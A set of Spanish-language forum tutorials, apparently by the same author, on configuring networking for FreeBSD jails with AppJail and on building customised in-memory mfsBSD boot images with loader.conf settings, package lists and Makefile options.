Antes de crear una jaula, necesitamos tres cosas: la dirección de red, el CIDR y el nombre. En el siguiente ejemplo, la red `development` tendrá como dirección de red `10.42.0.0` y el CIDR será `24`.


Código: sh
appjail network add development 10.42.0.0/24

Ahora que tenemos nuestra red, es posible crear una jaula que esté en ella.

Código: sh
appjail quick myjail virtualnet="development:myjail" overwrite start

En este caso la jaula llamada `myjail` estará en la red `development` y usará una interfaz llamada `myjail`. El nombre de la interfaz puede ser igual al nombre de la jaula, pero recomiendo mantenerlo corto (menos de 10 caracteres).

Una forma de ilustrar las redes virtuales es creando otra que esté en la misma red que `myjail`.


Código: sh
appjail quick otherjail virtualnet="development:otherjail" overwrite start

Una vez lo anterior esté concluido, necesitamos conocer la dirección IP de cada jaula, lo cual se puede lograr usando el comando `appjail network hosts`.

myjail:
Código: text
# appjail network hosts -REj myjail
10.42.0.2      development

otherjail:
Código: text
# appjail network hosts -REj otherjail
10.42.0.3      development

Ahora podemos utilizar `ping(8)` para verificar el éxito de la comunicación.

Código: text
# appjail cmd jexec otherjail ping -c4 10.42.0.2
PING 10.42.0.2 (10.42.0.2): 56 data bytes
64 bytes from 10.42.0.2: icmp_seq=0 ttl=64 time=0.369 ms
64 bytes from 10.42.0.2: icmp_seq=1 ttl=64 time=0.211 ms
64 bytes from 10.42.0.2: icmp_seq=2 ttl=64 time=0.172 ms
64 bytes from 10.42.0.2: icmp_seq=3 ttl=64 time=0.129 ms

--- 10.42.0.2 ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.129/0.220/0.369/0.090 ms

IP aliasing & Redes virtuales:

La razón principal por la que las redes virtuales y el IP aliasing se pueden combinar es para proveer opciones de red para las jaulas que no pueden utilizar `vnet(9)`, como las jaulas con linux, aunque perfectamente se puede utilizar una jaula estándar.

Código: sh
appjail quick jalias alias="appjail0" virtualnet="development" start

Herendado el stack del host:

Aunque esto puede causar algunos problemas con algunas aplicaciones, heredar el stack de red del host puede ser útil para ciertas aplicaciones, aunque este método no provee aislamiento de ninguna manera.

Código: sh
appjail quick myjail alias ip4_inherit ip6_inherit resolv_conf overwrite start

Deshabilitando el stack de red:

AppJail puede crear una jaula con IPv4 o IPv6 deshabilitado usando `ip4_disable` y `ip6_disable`.

Código: sh
appjail quick myjail alias ip4_disable ip6_disable resolv_conf overwrite start

Netgraph:

AppJail puede utilizar Netgraph para crear puentes y enlaces de la misma forma que los puentes. AppJail utiliza el script `jng` por lo que es necesario tenerlo instalado de antemano:

Código: sh
install -m 555 /usr/share/examples/jails/jng /usr/local/bin/jng

Ahora podemos usar la opción `jng` del comando `appjail quick` para crear nuestra jaula con el tipo de configuración mencionada anteriormente.

Código: sh
appjail quick myjail jng="myjail jext" overwrite start

El nombre `myjail` será utilizado por los enlaces y `jext` es la interfaz de nuestro sistema que será agregada como miembro del puente que creará `jng`. En el ejemplo anterior, se creará un nodo llamado `ng0_myjail` y un puente llamado `jextbridge`.

Puentes:


AppJail puede crear puentes, interfaces y agregar interfaces existentes como miembros del puente en demanda. Esta opción provee una forma distinta de manejar el apartado de redes para las jaulas, y es mucho más flexible.

Código: sh
appjail quick jbridge bridge="jpub iface:jext" start
# Si no se define ningún puente, como en el anterior ejemplo,
# appjail será usado.
appjail quick jbridge bridge="jpub iface:jext bridge:public" start

En el ejemplo anterior, dos interfaces serán creadas: `sa_jpub` que será agregada como miembro del puente y `sb_jpub` será para la jaula.

Supongamos que ya hemos instalado los paquetes que necesitamos para la jaula anterior, y no queramos que esa jaula vuelva a tener conexión con el exterior hasta que realmente se vuelva a necesitar. AppJail puede lograr esto quitando `jpub` como miembro del puente.


Código: sh
appjail network detach jpub

Sin embargo, es necesario editar la plantilla de la jaula y eliminar las líneas donde se hace referencia a esta interfaz para que en un reinicio no la vuelva a crear y agregar.

Cabe aclarar que dado que `jpub` no es miembro del puente, AppJail no la destruirá al detener la jaula, para forzar esto podríamos usar `appjail detach -df`.


Código: sh
appjail network detach -df jpub

VNET:

Probablemente se tiene una tarjeta de red sobrante que una jaula puede aprovechar para su máximo rendimiento. AppJail puede tomar ventaja de esto usando la opción `vnet`.

Código: sh
appjail quick jvnet vnet=em0 start

Conclusión:

En este pequeño artículo de una serie de artículos se explica lo básico para configurar el apartado de redes de nuestras jaulas. AppJail ofrece más opciones que se adaptan a determinados entornos, cada vez un poco más complejos, por lo que se detallarán en siguientes episodios.

~ DtxdF
#9

Fuente: FreeBSD Foundation

Las jaulas son un mecanismo de virtualización a nivel de sistema operativo que permite a un administrador de sistema particionar el sistema operativo en pequeños sistemas derivados e independientes, todos compartiendo el mismo kernel, con solo una pequeña sobrecarga. Aunque este mecanismo sea implementado a través de la llamada al sistema jail(2), también se puede usar en el espacio de usuario gracias a jail(8), sumando además a que una gran parte de las herramientas base también tienen este mecanismo implementado para manipular características dentro de la jaula, como se verá más adelante. Esta funcionalidad fue introducida por No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en 1999 y lanzada a partir de la versión 4.0 de FreeBSD.


Algunos comandos de AppJail.

Administrar pequeños sistemas con sus propias cosas en lugar de un solo sistema con todas las cosas que necesite la organización, trae con sí varias ventajas, como usar una aplicación de forma aislada sin que el host se vea afectado; ventajas como la seguridad y el mantenimiento del mismo sistema hacen tentativa esta opción.

No obstante, las jaulas aunque sean relativamente fáciles de crear y mantener, cuando se necesitan varias para diferentes propósitos, delegadas para diferentes administradores, la dificultad puede aumentar y por lo tanto los errores se hacen presente. Además, si le sumamos a que las jaulas por sí solas no controlan las reglas de nuestro cortafuegos, no restringen los recursos, no descargan una imagen con FreeBSD para que podamos usarla como el sistema que usará la jaula, no configuran la parte de la red para, por ejemplo, usar DHCP, no exponen puertos, etc. Las jaulas no hacen tal cosa porque en el sistema base ya hay herramientas que hacen esto por nosotros, pero debemos conocer cuales son esas herramientas y como usarlas, aparte de tener un orden en nuestra configuración para que otros administradores pueden realizar su trabajo sin interferencias.

Esto no es desalentador si se está dispuesto a realizar este proceso, de forma vainilla, sin ningún ayudante o framework presente. No obstante, hay personas u organizaciones que simplemente necesitan abstraer y automatizar estos procesos; necesitan ser eficientes, por lo que nacen otro tipo de personas: los desarrolladores de los frameworks que usan estas desventajas para convertirlas en virtudes en un solo conjunto.

La idea de los helpers/frameworks no es nueva [1], ya que hay una docena de ellos actualmente creados, muchos parecidos unos a otros, pero hay otros que tienen sus diferencias. Ya sea que se especialicen en hacer ciertas cosas mejor, o tener determinado público objetivo, o simplemente tener un modelo de desarrollo completamente distinto.

Pese a que existan varias alternativas presentes, AppJail es un nuevo framework que tiene como objetivo tanto a desarrolladores como administradores de sistemas. Esta herramienta tiene con sí docenas de características para que los procesos repetitivos, simplemente lo sean muchísimo menos, y muchos de ellos, abstraídos para que el usuario solo tenga que encargarse de lo principal: administrar sus aplicaciones en un entorno aislado.

Este pequeño artículo será parte de una serie de pequeños artículos mostrando las características de este framework, pero no me es posible mostrar absolutamente todas porque de eso se encarga la misma documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cosas como la instalación, simplemente no se mostrarán aquí, por lo que se deja implícito que se explica en la misma documentación.


Características:


* Fácil de usar.
* Inicio y parada de las jaulas en paralelo.
* Soporte para UFS y ZFS.
* Soporte para RACCT/RCTL para restringir los recursos de una jaula.
* Soporta IPv4 y IPv6.
* Soporta DHCP y SLAAC.
* Redes virtuales para organizar de forma lógica las jaulas.
* Puentes para proveer aislamiento entre jaulas.
* Soporta VNET.
* Despliegue sencillo usando los Makejails.
* Soporta Netgraph.
* Soporta LinuxJails.
* Soporta thin y thick jails.
* TinyJails, una característica experimental para exportar una jaula bastante despojada que es bastante útil para su distribución.
* Control del inicio y parada de las jaulas usando prioridades y el boot flag.
* Soporta las dependencias de jaulas.
* Initscripts, para crear jaulas interactivas.
* Respaldos sencillos con un solo comando.
* Estructura modular, lo cual hace que AppJail sea fácil de mantener: cada archivo tiene una responsabilidad propia.
* La mayoría de comandos tienen una interfaz como una tabla, bastante familiar en varias herramientas de administración de sistemas.
* Sin base de datos, todos los archivos son guardados individualmente en entidades separadas (redes, jaulas, etc.), lo cual hace su respaldo y mantenimiento mucho más sencillo.
* Supervisor - Próximamente ...
* ...


Creación de una jaula:


Creando una jaula con dos simples comandos.

Dos cosas son necesarias para la creación de nuestra jaula: obtener los componentes (`base.txz`, `lib32.txz`, etc.) y usar esos componentes para crear la jaula.

Código: sh
appjail fetch
appjail quick myjail start login

Usando el comando `appjail fetch` descargaremos el archivo `MANIFEST` para verificar la suma de verificación de los components. Después, los componentes se descargarán. Por defecto, solo `base.txz` será descargado.

Una vez tengamos un `release` con los componentes deseados, podremos crear nuestra jaula con el comando `appjail quick`. Este caso nuestra jaula se llamará `myjail`. Además, usamos la opción `start` para iniciar la jaula después de su creación, y `login` para iniciar sesión dentro de la jaula después de iniciarla.

No es necesario ejecutar `appjail fetch` nuevamente al menos que se quiera crear otro release con diferentes componentes.


Notas:

[1] No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

~ DtxdF
#10
mfsBSD es un conjunto de scripts que generan una imagen booteable, un archivo ISO o simplemente archivos de booteo, con la finalidad de crear una instalación mínima y personalizada de FreeBSD la cual es ejecutada completamente en memoria.


mfsBSD es una excelente alternativa a la imagen de FreeBSD completa, no solo por el poco espacio en almacenamiento, no solo porque se ejecuta en la memoria, sino por su alta personalización. mfsBSD nos permite personalizar una imagen sin necesidad de compilarla, aunque también permite hacerlo por si alguien lo desea. Mayormente cuando vemos proyectos de código abierto/software libre derivados tenemos dos problemas frecuentes: o no está actualizado con la rama principal del proyecto, o su principal fuente de atracción se reduce a una perdida de funcionalidad y herramientas imperdonables.

mfsBSD no es así. Si deseas crear una imagen con ciertos paquetes pre-compilados, mfsBSD puede hacerlo por ti. Si deseas hacer un despliegue de múltiples servidores, pero eres tan perezoso que no deseas ejecutar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, mfsBSD puede hacerlo por ti. Si deseas tener los archivos base como kernel.txz o base.txz en un servidor web o FTP dentro de tu misma red local para ahorrar ancho de banda descargándolo desde la página web oficial, mfsBSD puede hacerlo por ti. Si deseas tener un sistema que solo correrá en memoria con herramientas de diagnostico y reparación, mfsBSD puede hacerlo por ti.

El límite es la imaginación de la persona, y como son sólo un conjunto de scripts escritos en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o archivos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, su estudio, personalización, y si deseas, contribución, es realmente sencilla.


Motivación:

Algunos proveedores VPS más respetables y bien conocidos del mercado tienen una forma de reparar el sistema que se está ejecutando actualmente, o incluso nos permiten subir nuestra propia imagen de cualquier sistema operativo que deseemos. Mayormente solo soportan alguna distribución del pingüino y carecen de soporte para FreeBSD. Si tu proveedor te permite de alguna forma reparar tu sistema operativo, o si puedes sobreescribir los datos del mismo disco duro, mfsBSD puede instalarse remotamente de forma sencilla.

Aunque como comentaba en el prefacio, mfsBSD puede ser ideal para realizar un despliegue de múltiples servidores. Una vez hecho el inventario y habiendo conocido las características de cada uno, o mejor aún, si comparten las mismas características, es realmente sencillo automatizar la instalación de FreeBSD.

Con un poco de esfuerzo puedes correr mfsBSD en un entorno PXE.


Preparación:

mfsBSD se puede obtener de dos formas oficialmente. La primera es su repositorio, el cual es el más ideal para la mayoría de situaciones donde tengamos que colocar mfsBSD en producción, ya que es el modo que nos permite personalizar, o incluso si se desea, aportar a él. La segunda, la imagen pre-creada, se puede obtener desde el sitio web oficial de mfsBSD, y es más adecuado para probar mfsBSD por primera vez y queremos ver más o menos lo que nos puede ofrecer. Por supuesto, esto lo digo por lo que considero ideal, puedes usar la opción que mejor se adapte a ti según tus necesidades.

Obteniendo mfsBSD desde su repositorio:

El creador No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos permite clonar su repositorio usando git o una herramienta similar desde el mismo repositorio donde se aloja el código fuente.

Código: bash
git clone https://github.com/mmatuska/mfsbsd.git


Si esta opción encaja en tus necesidades, puedes ir directamente a la personalización e instalación en la sección siguiente.

Obteniendo mfsBSD desde su web oficial:

Esta opción es más sencilla, y como se mencionó, la más ideal para fines de prueba. Toda la información oficial y necesaria de mfsBSD puede ser obtenida desde su No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Al ingresar en la web oficial tenemos varios opciones que se explican por sí solas.



Los archivos .ISO son ideales para llevarlos con un CD/DVD o un dispositivo capaz de leerlo e interpretarlo para correrlo en el host que vayamos a usar mfsBSD. Por otro lado, si vamos a grabar mfsBSD en un USB, necesitamos una imagen del disco duro en bruto, que son los .IMG.

Los .IMG se encuentran en la siguiente ubicación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Se puede observar que cada archivo tiene un sufijo, que es básicamente la edición de mfsBSD. La edición sin un sufijo, es mfsBSD sin nada especial más que un par de programas que todas las ediciones tienen, lo cuales son: cpdup, dmidecode, ipmitool, nano, rsync, smartmontools, tmux; varios módulos, que serían los siguientes: acpi (pre-cargado), ahci (pre-cargado), aesni, crypto, cryptodev, ext2fs, geom_eli, geom_mirror, geom_nopi, ipmi, ntfs, nullfs, opensolaris, smbusi, snp, tmpfs, zfs; y por último también tiene ajustado, al igual que todas las ediciones, autodhcp, que permite configurar DHCP en cualquier interfaz excepto la interfaz loopback. La diferencia se nota es cuando analizamos la edición -mini y -SE. La edición -mini es la que menos almacenamiento ocupa y como cualidad única, usa dropbear para implementar un servidor SSH. La versión -SE, o Special Edition, es como la edición normal pero incluye los archivo base.txz y kernel.txz, requeridos para instalar FreeBSD.

La elección de uno u otro dependerá de nuestras necesidades. La edición especial es útil para cuando no deseemos enviar los archivos a través de la red, ya sea que la red esté congestionada, o no deseamos implementar un servidor web, ftp o tampoco sintamos que tenemos la necesidad de usar SSH (con SCP o SFTP), por lo que está edición nos permite instalar FreeBSD sin necesidad de descargar nada.

La versión mini es cuando queremos ahorrar espacio y tal vez tengamos un servidor para descargar los archivos requeridos para proseguir con la instalación de FreeBSD.


Creación de la imagen:

En la anterior sección hemos preparado lo necesario para poder operar con mfsBSD. Por supuesto, si la imagen pre-creada ha sido la elección es más sencillo proseguir, pero lo que motiva este artículo a seguir no es esa sino su contraparte: la personalización.

Grabar la imagen pre-creada:

La herramienta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos permite escribir directamente en el disco duro la imagen pre-creada. Sus detalles se pueden apreciar en el manual, mientras que aquí se verá su modo más sencillo posible.

Código: bash
dd if=mfsbsd-se-13.1-RELEASE-amd64.img of=/dev/da0 bs=30m status=progress && fsync mfsbsd-se-13.1-RELEASE-amd64.img


Básicamente hemos escrito la imagen pre-creada de mfsBSD, edición especial porque deseo que incluya los archivos base.txz y kernel.txz, necesarios para instalar sin conexión. El dispositivo /dev/da0 es lo que mi sistema indica, y se puede apreciar ejecutando el comando geom disk list. Es importante ser cuidadoso con el dispositivo de salida ya que dd no lo hará por nosotros. Los demás parámetros, bs, el tamaño del bloque, lo defino en 30 Mebibytes, y status con el valor en progress, para que me imprima el estado de la escritura hasta que concluya la operación.

Uso fsync para que se encargue de vaciar la caché tan rápido, ya que si hay una falla energética y no se ha vaciado, la escritura pudo quedar incompleta.


Crear una imagen personalizada:

El artículo pese a no excluir la imagen pre-creada, hace hincapié a la creación de una imagen personalizada que se adapte mejor a nuestras necesidades. Antes de proseguir, es necesario saber antes los requisitos para la creación y su uso.

Requisitos:

*.- En el caso de compilar, es indispensable contar con FreeBSD 11 o mayor. Lo mismo aplica a los archivos de distribución: base.txz y kernel.txz;
*.- En el caso de su ejecución, es necesario tener, como mínimo, 512 MiB de memoria.

Creación de la imagen:

Para generar la imagen primero necesitamos dirijirnos al directorio de trabajo, o en otras palabras, al repositorio que clonamos en la anterior sección usando el comando cd ./mfsbsd. Segundo, necesitamos los archivos de distribución base.txz y kernel.txz, que se pueden obtener del directorio FTP público de FreeBSD, el cual es explicado más abajo. Si contamos con los archivos, ahora debemos pasar a la configuración.


Descargar los archivos de distribución:

Usando el comando FTP que viene incluido en FreeBSD nos da la posibilidad de obtener los archivos de distribución, como se muestra abajo.

Código: bash
# Estamos en el directorio de trabajo, pero es necesario tener estos archivos en una carpeta aparte
mkdir freebsd-dist
ftp -o freebsd-dist/kernel.txz ftp://ftp.freebsd.org/pub/FreeBSD/releases/amd64/13.1-RELEASE/kernel.txz
ftp -o freebsd-dist/base.txz ftp://ftp.freebsd.org/pub/FreeBSD/releases/amd64/13.1-RELEASE/base.txz


Configuración de mfsBSD:

En el directorio de trabajo hay, más o menos, una docena de archivos con directorios, pero en los que nos enfocaremos serán en los directorios conf/ y tools/. El directorio conf/ es el encargado de ajustar algunos archivos que modificaran el comportamiento de mfsBSD en ejecución, tales como configurar las interfaces de red, configurar la contraseña del usuario root para acceder remotamente o, si no deseamos o no podemos permitirnos tal inseguridad, podríamos usar nuestra clave pública SSH. Una mejor lista de lo que se encarga este directorio podría ser la que se puede apreciar más abajo.

*.- authorized_keys: usado para incluir las clave públicas SSH de authorización;
*.- boot.config: parámetros que serán usados en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta;
*.- hosts: el archivo /etc/hosts para definir nombres de host de forma estática;
*.- interfaces.conf: cuando se desconoce la interfaz de red, pero se sabe la dirección MAC, es posible usar este archivo para poder configurarla;
*.- loader.conf: la configuración del arranque del sistema, aunque en mfsBSD este archivo tiene un papel adicional, ya que centraliza parte de los archivos antes mencionados y los siguientes;
*.- rc.conf: el archivo /etc/rc.conf para iniciar o configurar algunos daemons del sistema, entre otras cosas;
*.- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: el archivo /etc/rc.local para ejecutar comandos al inicio del sistemas;
*.- resolv.conf: el archivo /etc/resolv.conf para la configuración de los nameservers;
*.- ttys: la configuración de la terminal.

He explicado brevemente el significado de cada uno porque ya se conocen desde el mismo FreeBSD, e incluso cada uno tiene su propio manual rico en información, aunque hay algunos que tienen un uso especial para mfsBSD por lo que a lo largo del artículo serán descritos con mayor detalle según se conveniente.

Anteriormente mencioné que, aparte del directorio conf/, había otro directorio en particular que formaba parte de mfsBSD y sus scripts, este es tools/, que contiene scripts que son usados en el momento de generar la imagen de mfsBSD, o en otras palabras, son usados por el archivo Makefile. También contiene algunos archivos que controlan el comportamiento de lo que se debe dejar para la imagen, como prunelist, o incluso otros que nos dejan incluir paquetes pre-compilados. Una lista más detallada de lo que nos concierne como usuarios sería la siguiente:

*.- destroygeom: un script que nos ahorra tiempo a la hora de eliminar las particiones en los proveedores GEOM que especifiquemos;
*.- kern_exclude: archivos que serán excluidos de /boot/kernel en la imagen final de mfsBSD;
*.- motd, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: el archivo /etc/motd para imprimir el Mensaje del día. En su edición normal será usado el primero, mientras que en la edición especial será usado el segundo;
*.- packages, packages-mini: paquetes que serán incluidos en la imagen de mfsBSD. En su edición normal, y su edición -mini;
*.- prunelist: lista de archivos que serán excluidos de la imagen final de mfsBSD;
*.- roothack/: el encargado de descomprimir el root.txz en memoria;
*.- zfsinstall: un script que nos ahorra tiempo a la hora de particionar e instalar un entorno con ZFS.

Algunos archivos controlan el comportamiento de la imagen final, mientras que otros solo los usaremos cuando el sistema esté en ejecución, tales como zfsinstall y destroygeom, que protragonizarán la instalación de FreeBSD más adelante.

Aclarado el significado con la mayor sencillez posible, es hora de empezar a modificar los archivos. Cabe aclarar que si realizamos un listado de los directorios antes mencionados, como se verá más abajo, tienen una extensión peculiar.


Código: bash
$ ls tools/
destroygeom             do_gpt.sh               motd                    packages-mini.sample    prunelist               roothack
doFS.sh                 kern_exclude            motd.se                 packages.sample         prunelist.9             zfsinstall
$ ls conf/
authorized_keys.sample  hosts.sample            loader.conf.sample      rc.local.sample         ttys.sample
boot.config.sample      interfaces.conf.sample  rc.conf.sample          resolv.conf.sample


Los archivos .sample que comunmente vemos en algunos paquetes cuando los instalamos, son archivos de ejemplos que nos indican cómo se debería configurar ese pieza de software, o nos ayudan a orientarnos. En mfsBSD no solo son archivos de ejemplo, sino que son usados cuando su contraparte, los archivos sin esa extensión, no existe. Por ejemplo, si el archivo packages existe y existe también packages.sample, el primero se usará, pero si no fuera así, el segundo es el que se usará, pero si no existe ninguno de los dos, no se instalarían paquetes.

loader.conf.sample
Código: bash
# $Id$
#
# This is the /boot/loader.conf of your image
#
# Custom mfsbsd variables
#
# Set all auto-detected interfaces to DHCP
#mfsbsd.autodhcp="YES"
#
# Define a new root password
#mfsbsd.rootpw="foobar"
#
# Alternatively define a root password hash like in master.passwd
# NOTICE: replace '$' characters with '%'
#mfsbsd.rootpwhash=""
#
# Add additional nameservers here
#mfsbsd.nameservers="192.168.1.1 192.168.1.2"
#
# Change system hostname
#mfsbsd.hostname="mfsbsd"
#
# List of interfaces to be set
#mfsbsd.interfaces="em0 em1"
#
# Individual configuration of each interface
#mfsbsd.ifconfig_em0="DHCP"
#mfsbsd.ifconfig_em1="DHCP"
#
# List of special interfaces to be created
#mfsbsd.cloned_interfaces=""
#
# List of mac_interfaces (see interfaces.conf.sample)
#mfsbsd.mac_interfaces="eth0"
#mfsbsd.ifconfig_eth0_mac="xx:xx:xx:xx:xx:xx"
#mfsbsd.ifconfig_eth0="inet 192.168.1.10/24"
#
# Default router
#mfsbsd.defaultrouter="192.168.1.1"
#
# List of static routes and their definitions
#mfsbsd.static_routes="r1 r2"
#mfsbsd.route_r1="-net 192.168.2 192.168.1.1"
#mfsbsd.route_r2="-net 192.168.3 192.168.1.1"

#
# Do not change anything here until you know what you are doing
#
mfs_load="YES"
mfs_type="mfs_root"
mfs_name="/mfsroot"
ahci_load="YES"
vfs.root.mountfrom="ufs:/dev/md0"
mfsbsd.autodhcp="YES"


Como se aclaró anteriormente, loader.conf es el archivo más importante porque nos permite ajustar casi todo sin recurrir a los otros archivos. El archivo de arriba, loader.conf.sample, es el archivo de ejemplo, y ya se mencionó que si no existe su contraparte, el archivo que no contiene extensión, se usará este en su lugar. Procedemos a copiar conf/loader.conf.sample a conf/loader.conf y modificaremos a partir de allí.

Código: bash
cp conf/loader.conf.sample conf/loader.conf


El archivo se explica a través de comentarios, pero explicaré lo que usaremos en este artículo en brevedad. Al menos que estemos conectados punto a punto o en una red segura, es mejor modificar la contraseña pre-determinada.

Código: bash
mfsbsd.rootpw="this is a very secure password.12345"


No obstante, si el sistema necesita ejecutarse para una tarea pre-definida y no una instalación de FreeBSD, es mejor usar una forma más apropiada por si acceden sin nuestro consentimiento a nuestro sistema.

Código: bash
mfsbsd.rootpwhash="%6%0DMGate/WoCrttXO%WQbsFPYr1LOjJlVzjt/PbP929J130YsAbaEfMm.FGwKsKQvC4xjJSrcM3YhHgoz/LOveMVToCZ3Jmghd/cJlw0"


Para poder generar una contraseña como esa, debemos usar openssl passwd -6, pero debemos cambiar los signos de dólar por signos de porcentaje, como se puede apreciar arriba.

Si deseamos configurar los nameservers en vez de usar los que el servidor DHCP nos mande, podemos hacerlo.


Código: bash
mfsbsd.nameservers="208.67.222.222 208.67.220.220"


Si queremos desactivar la autoconfiguración de todas las interfaces, podemos hacerlo.

Código: bash
mfsbsd.autodhcp="NO"


En el caso de desactivar la autoconfiguración, podemos especificar la interfaces que deseemos que se configuren usando DHCP.

Código: bash
mfsbsd.interfaces="em0 em1"
mfsbsd.ifconfig_em0="DHCP"
mfsbsd.ifconfig_em1="DHCP"


Si no sabemos cuál es o será nuestra interfaz de red, pero conocemos su dirección MAC, mfsBSD puede lidiar con esto.

Código: bash
mfsbsd.mac_interfaces="ext1"
mfsbsd.ifconfig_ext1_mac="64:74:78:64:66:2E"
mfsbsd.ifconfig_ext1="inet 192.168.1.10/24"


Cabe aclarar que así como podemos configurarlo desde conf/loader.conf, también podríamos hacer lo mismo en conf/interfaces.conf. (Ver el archivo para más destalles.)

No olvidemos configurar la ruta predeterminada cuando usemos direcciones IPs estáticas.


Código: bash
mfsbsd.defaultrouter="192.168.1.1"


Al menos que haya una buena razón para no usar DHCP, recomiendo usarlo.

Podemos usar el archivo authorized_keys para acceder al sistema de forma remota usando nuestra clave pública SSH.


Código: bash
cat ~/.ssh/id_ed25519.pub > conf/authorized_keys


Usa la clave pública correspondiente. En mi caso estoy colocando la que se encuentra en mi directorio, siendo el tipo ED25519.

Por defecto, boot.config viene con el flag -D para bootear con la configuración dual de la consola (ver el manual de boot(8) para más detalles). En mi caso, para este artículo, prefiero dejarlo en -c, que no hace nada (no-op).


Código: bash
echo \-c > conf/boot.config


Hemos visto gran parte de la configuración que se usará en tiempo de ejecución, y como se aclaró, gran parte de esos archivos son triviales y no requieren explicación ya que son un estándar, tales como /etc/hosts, /etc/rc.conf, y demás, por lo que me limité a explicar lo que es específico de mfsBSD.

Ahora es tiempo de configurar la imagen en tiempo de compilación. Esta parte será más corta, ya que solo se explicará como agregar paquetes, siendo una cosa extremadamente sencilla. Excluir archivos, ya sea del world o del kernel, es algo no trivial y requiere un cuidadoso estudio para no dejar inservible las cosas. Eres libre de estudiar prunelist y kern_exclude para deshacer o rehacer lo que te plazca.

Resulta que es necesario multiplexar la pantalla para trabajar más eficiente, así que podemos elegir entre tmux o gnu-screen. Elegimos gnu-screen, por lo que se incluirá en conf/packages.


Código: bash
echo screen > tools/packages


Es requerido además fusefs-sshfs para montar un directorio a través de SSH usando FUSE. También es necesario smartmontools para hacer diagnósticos y pruebas al disco que estoy respaldando. Ya que estoy respaldando un sistema de archivos con UFS, necesito rsync para mandarlo a través de la red de forma eficiente. La lista sería la siguiente (sin excluir a screen, que lo colocamos anteriormente).

Código: bash
cat <<EOF >> tools/packages
fusefs-sshfs
smartmontools
rsync
EOF


Últimos pasos:

La configuración parece extremadamente larga y tediosa, pero la realidad es que no lo es, con el tiempo y si se está familiarizado con FreeBSD se podrá apreciar que es increiblemente trivial. Pero ya habiendo configurado a la medida nuestra imagen, ya es momento de generarla. Primero hay que decidir el formato, el cual pueden ser, actualmente, tres: ISO, IMG y .tar.gz. Cabe aclarar que, debido a que algunas operaciones requieren privilegios (como ejecutar el comando chown, cambiar las propiedad de algunos archivos, entre otros) después de que se descomprime base.txz. Si el pavor inunda sus pensamientos, es posible leer el Makefile o ejecutar make -n para ver qué comandos se ejecutarán.

IMG:
Código: bash
# make BASE=freebsd-dist


ISO:
Código: bash
# make iso BASE=freebsd-dist


.tar.gz:
Código: bash
# make tar BASE=freebsd-dist


archivo .tar.gz GCE compatible:
Código: bash
# make gce BASE=freebsd-dist


Aparte de los targets (ver make(1) para más detalles), el archivo Makefile interpreta algunas variables que también modificarán el comportamiento de la imagen. Uno que puede ser más importante de todos ellos, es SE, para generar la edición especial.

Código: bash
# make SE=1 BASE=freebsd-dist


Otras de las características de mfsBSD es que permite compilar el kernel y el world.

Código: bash
# make iso CUSTOM=1 BUILDWORLD=1 BUILDKERNEL=1


En el anterior comando, se compilará una imagen ISO, y también es posible compilar con los otros formatos vistos anteriormente.

Hay docenas de variables que podrían o no ser de utilidad. Abajo se pueden apreciar una lista de ellas, extraidas del Makefile (líneas de 6 a 193).


Código: bash
#
# User-defined variables
#
BASE?= /cdrom/usr/freebsd-dist
KERNCONF?= GENERIC
MFSROOT_FREE_INODES?= 10%
MFSROOT_FREE_BLOCKS?= 10%
MFSROOT_MAXSIZE?= 120m
ROOTPW_HASH?= $$6$$051DdQA7fTvLymkY$$Z5f6snVFQJKugWmGi8y0motBNaKn9em0y2K0ZsJMku3v9gkiYh8M.OTIIie3RvHpzT6udumtZUtc0kXwJcCMR1

# If you want to build your own kernel and make you own world, you need to set
# -DCUSTOM or CUSTOM=1
#
# To make buildworld use
# -DCUSTOM -DBUILDWORLD or CUSTOM=1 BUILDWORLD=1
#
# To make buildkernel use
# -DCUSTOM -DBUILDKERNEL or CUSTOM=1 BUILDKERNEL=1
#
# For all of this use
# -DCUSTOM -DBUILDWORLD -DBUILDKERNEL or CUSTOM=1 BUILDKERNEL=1 BUILDWORLD=1
#

#
# Paths
#
SRC_DIR?= /usr/src
CFGDIR?= conf
SCRIPTSDIR?= scripts
PACKAGESDIR?= packages
CUSTOMFILESDIR?= customfiles
CUSTOMSCRIPTSDIR?= customscripts
TOOLSDIR?= tools
PRUNELIST?= ${TOOLSDIR}/prunelist
KERN_EXCLUDE?= ${TOOLSDIR}/kern_exclude
PKG_STATIC?= /usr/local/sbin/pkg-static
#
# Program defaults
#
MKDIR?= /bin/mkdir -p
CHOWN?= /usr/sbin/chown
CAT?= /bin/cat
PWD?= /bin/pwd
TAR?= /usr/bin/tar
GTAR?= /usr/local/bin/gtar
CP?= /bin/cp
MV?= /bin/mv
RM?= /bin/rm
RMDIR?= /bin/rmdir
CHFLAGS?= /bin/chflags
GZIP?= /usr/bin/gzip
TOUCH?= /usr/bin/touch
INSTALL?= /usr/bin/install
LS?= /bin/ls
LN?= /bin/ln
FIND?= /usr/bin/find
PW?= /usr/sbin/pw
SED?= /usr/bin/sed
UNAME?= /usr/bin/uname
BZIP2?= /usr/bin/bzip2
XZ?= /usr/bin/xz
MAKEFS?= /usr/sbin/makefs
SSHKEYGEN?= /usr/bin/ssh-keygen
SYSCTL?= /sbin/sysctl
PKG?= /usr/local/sbin/pkg
OPENSSL?= /usr/bin/openssl
CUT?= /usr/bin/cut
#
WRKDIR?= ${.CURDIR}/work
#
BSDLABEL?= bsdlabel
#
DOFS?= ${TOOLSDIR}/doFS.sh
SCRIPTS?= mdinit mfsbsd interfaces packages
BOOTMODULES?= acpi ahci
.if defined(LOADER_4TH)
BOOTFILES?= defaults device.hints loader_4th *.rc *.4th
EFILOADER?= loader_4th.efi
.else
BOOTFILES?= defaults device.hints loader_lua lua
EFILOADER?= loader_lua.efi
.endif
MFSMODULES?= aesni crypto cryptodev ext2fs geom_eli geom_mirror geom_nop \
ipmi ntfs nullfs opensolaris smbus snp tmpfs zfs
